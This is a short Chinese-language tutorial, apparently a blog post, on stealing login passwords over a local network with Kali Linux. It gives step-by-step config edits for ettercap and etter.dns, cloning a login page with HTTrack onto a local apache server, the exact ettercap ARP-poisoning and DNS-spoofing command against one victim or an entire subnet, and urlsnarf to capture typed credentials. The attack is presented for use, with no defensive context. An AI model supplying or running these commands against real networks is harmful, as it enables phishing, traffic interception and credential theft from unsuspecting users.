原理:通过kali工具进行arp欺骗，在本机建立一个登录网站，将目标流量转移到本机网站，通过监听本机流量进行分析，查找密码。。。。。。

内容使用kali工具，安装问题dd主页qq。。

ettercap的使用：1.第一步进入/etc/ettercap/ 打开etter.conf，更改以下内容

[privs]

ec_uid=0# nobody is thedefault

ec_gid=0# nobody is thedefault

同目录下打开etter.dns，将前面‘#’删去，

eg：下图黑色字体部分，后面为自己ip地址（查看IP地址命令行输入“ifconfig”）。

第一部分完成。。。。

在/var/www/html/中添加登录界面：此模块较为重要，可以使用 kali中 Httrack工具进行复刻网页。会的可以自己写网页。

准备完成：

1，开启apache，命令行输入： service apache2 start

2.另开命令行窗口输入：ettercap -Tq -i eth0 -M arp:remote -P dns_spoof /要欺骗的ip// /网关的ip//ettercap -Tq -i eth0 -M arp:remote -P dns_spoof /// /网关的ip//这为欺骗网段所有电脑

3.urlsnarf -i eth0//监听自己网卡，当输入密码时抓取图中为我自己测试。。。。

视频教程提取码：ka0d  

分享到：

赞 (1) 打赏 搜一下